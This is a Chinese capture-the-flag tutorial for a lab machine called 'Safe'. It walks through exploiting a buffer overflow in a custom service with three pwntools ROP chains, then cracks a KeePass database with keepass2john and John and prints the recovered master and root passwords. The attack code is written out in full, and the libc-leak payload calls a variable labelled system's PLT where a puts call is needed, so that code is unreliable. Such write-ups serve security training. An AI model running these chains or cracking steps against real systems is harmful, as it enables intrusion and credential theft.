[Meachines] [Easy] Safe BOF+ROP链+.data节区注入BOF+函数跳转BOF+KeePass密码管理器密码破译
字数 1351 2025-08-19 12:41:28

缓冲区溢出攻击与ROP链构造实战教程

1. 目标环境分析

1.1 目标系统信息

  • IP地址: 10.10.10.147
  • 开放端口:
    • TCP 22: OpenSSH 7.4p1 (Debian 10+deb9u6)
    • TCP 80: Apache httpd 2.4.25 (Debian)
    • TCP 1337: 自定义服务(myapp)

1.2 目标程序安全机制检查

使用checksec分析目标程序myapp的安全机制:

CANARY: disabled    # 栈保护机制被禁用
FORTIFY: disabled   # 无额外编译时检查
NX: ENABLED        # 堆栈不可执行
PIE: disabled      # 代码段地址固定
RELRO: Partial     # 部分RELRO保护(GOT表可写)

2. 缓冲区溢出漏洞利用基础

2.1 确定偏移量

  1. 使用pattern_create生成200字节的测试字符串
  2. 运行程序并观察崩溃时的寄存器值
  3. 使用pattern_offset确定精确偏移量为120字节

2.2 验证偏移量

构造测试payload:

python print("A" * 120 + "B" * 4)

确认RIP寄存器被成功覆盖为"BBBB"

3. ROP链利用方法

3.1 方法1: 泄露libc函数地址

3.1.1 关键概念

  • PLT(Procedure Linkage Table): 用于动态链接的函数跳转表
  • GOT(Global Offset Table): 存储动态链接函数实际地址的表

3.1.2 利用步骤

  1. 查找可用gadget:

    $ ropper -f myapp | grep rdi
    

    找到pop rdi; ret gadget地址: 0x40120b

  2. 构造payload泄露puts函数地址:

    from pwn import *
    
    context(os="linux", arch="amd64")
    junk = "A"*120
    got_puts = p64(0x404018)    # puts的GOT表地址
    plt_system = p64(0x401040)   # system的PLT地址
    pop_rdi = p64(0x40120b)      # pop rdi; ret gadget
    main = p64(0x40115f)         # main函数地址
    
    payload = junk + pop_rdi + got_puts + plt_system + main
    
  3. 计算libc基地址:

    leaked_puts = u64(p.recvline().strip()[7:-11].ljust(8,"\x00"))
    libc_base = leaked_puts - 0x68f90  # puts在libc中的偏移
    
  4. 计算/bin/sh字符串地址:

    sh = p64(0x161c19 + libc_base)
    
  5. 最终payload获取shell:

    payload = junk + pop_rdi + sh + plt_system
    

3.2 方法2: .data节区注入

3.2.1 查找可写内存区域

$ readelf -S myapp

发现.data节区(地址0x404038)具有读写权限(WA)

3.2.2 利用步骤

  1. 使用gets函数将"/bin/sh"写入.data节区
  2. 调用system执行写入的字符串
from pwn import *

context(os="linux", arch="amd64")
junk = "A"*120
plt_gets = p64(0x401060)      # gets的PLT地址
plt_system = p64(0x401040)    # system的PLT地址
pop_rdi = p64(0x40120b)       # pop rdi; ret gadget
binsh = p64(0x404038)         # .data节区地址

payload = junk + pop_rdi + binsh + plt_gets + pop_rdi + binsh + plt_system
p.sendline(payload)
p.sendline('/bin/sh\x00')     # 写入/bin/sh到.data节区

3.3 方法3: 利用未调用函数跳转

3.3.1 分析test函数

gdb-peda$ disassemble test

发现test函数会将R13寄存器的值作为函数调用

3.3.2 查找合适gadget

$ ropper -f myapp | grep r13

找到pop r13; pop r14; pop r15; ret gadget地址: 0x401206

3.3.3 构造payload

from pwn import *

binsh = "/bin/sh\x00"
junk = "A"*(120 - len(binsh))
plt_system = p64(0x401040)
test = p64(0x401152)
pop_r13_r14_r15 = p64(0x401206)

payload = junk + binsh + pop_r13_r14_r15 + plt_system + p64(0) + p64(0) + test

4. 权限提升与密码破解

4.1 获取用户权限

  1. 通过SSH公钥连接服务器:

    $ ssh -i ~/.ssh/id_ed25519 user@10.10.10.147
    
  2. 下载KeePass数据库文件:

    $ scp -i ~/.ssh/id_ed25519 user@10.10.10.147:~/IMG* .
    $ scp -i ~/.ssh/id_ed25519 user@10.10.10.147:~/*.kdbx .
    

4.2 破解KeePass数据库

  1. 使用keepass2john提取哈希:

    $ keepass2john MyPasswords.kdbx > MyPasswords.kdbx.hash
    
  2. 尝试使用图像文件作为密钥:

    $ for img in $(ls IMG*); do keepass2john -k $img MyPasswords.kdbx; done >> MyPasswords.kdbx.hash
    
  3. 使用John the Ripper破解:

    $ john MyPasswords.kdbx.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt
    

    获得密码: bullshit

  4. 使用kpcli访问数据库:

    $ kpcli --key IMG_0547.JPG --kdb MyPasswords.kdbx
    

    找到root密码: u3v2249dl9ptv465cogl3cnpo3fyhk

5. 关键知识点总结

  1. 缓冲区溢出利用条件:

    • 无栈保护(CANARY)
    • 固定地址(PIE disabled)
    • 堆栈不可执行(NX enabled)
  2. ROP链构造要点:

    • 使用gadget控制寄存器
    • 利用PLT/GOT泄露函数地址
    • 计算libc基地址
  3. 数据注入技巧:

    • 利用可写内存区域(.data节区)
    • 使用gets等函数写入数据
  4. 密码破解方法:

    • 结合密钥文件和字典攻击
    • 使用专用工具(keepass2john)提取哈希
  5. 防御措施:

    • 启用所有安全编译选项
    • 使用地址随机化(PIE)
    • 实施栈保护(CANARY)
    • 完全RELRO保护
缓冲区溢出攻击与ROP链构造实战教程 1. 目标环境分析 1.1 目标系统信息 IP地址: 10.10.10.147 开放端口: TCP 22: OpenSSH 7.4p1 (Debian 10+deb9u6) TCP 80: Apache httpd 2.4.25 (Debian) TCP 1337: 自定义服务(myapp) 1.2 目标程序安全机制检查 使用 checksec 分析目标程序 myapp 的安全机制: 2. 缓冲区溢出漏洞利用基础 2.1 确定偏移量 使用 pattern_create 生成200字节的测试字符串 运行程序并观察崩溃时的寄存器值 使用 pattern_offset 确定精确偏移量为120字节 2.2 验证偏移量 构造测试payload: 确认RIP寄存器被成功覆盖为"BBBB" 3. ROP链利用方法 3.1 方法1: 泄露libc函数地址 3.1.1 关键概念 PLT(Procedure Linkage Table) : 用于动态链接的函数跳转表 GOT(Global Offset Table) : 存储动态链接函数实际地址的表 3.1.2 利用步骤 查找可用gadget: 找到 pop rdi; ret gadget地址: 0x40120b 构造payload泄露puts函数地址: 计算libc基地址: 计算 /bin/sh 字符串地址: 最终payload获取shell: 3.2 方法2: .data节区注入 3.2.1 查找可写内存区域 发现.data节区(地址0x404038)具有读写权限(WA) 3.2.2 利用步骤 使用gets函数将"/bin/sh"写入.data节区 调用system执行写入的字符串 3.3 方法3: 利用未调用函数跳转 3.3.1 分析test函数 发现test函数会将R13寄存器的值作为函数调用 3.3.2 查找合适gadget 找到 pop r13; pop r14; pop r15; ret gadget地址: 0x401206 3.3.3 构造payload 4. 权限提升与密码破解 4.1 获取用户权限 通过SSH公钥连接服务器: 下载KeePass数据库文件: 4.2 破解KeePass数据库 使用keepass2john提取哈希: 尝试使用图像文件作为密钥: 使用John the Ripper破解: 获得密码: bullshit 使用kpcli访问数据库: 找到root密码: u3v2249dl9ptv465cogl3cnpo3fyhk 5. 关键知识点总结 缓冲区溢出利用条件 : 无栈保护(CANARY) 固定地址(PIE disabled) 堆栈不可执行(NX enabled) ROP链构造要点 : 使用gadget控制寄存器 利用PLT/GOT泄露函数地址 计算libc基地址 数据注入技巧 : 利用可写内存区域(.data节区) 使用gets等函数写入数据 密码破解方法 : 结合密钥文件和字典攻击 使用专用工具(keepass2john)提取哈希 防御措施 : 启用所有安全编译选项 使用地址随机化(PIE) 实施栈保护(CANARY) 完全RELRO保护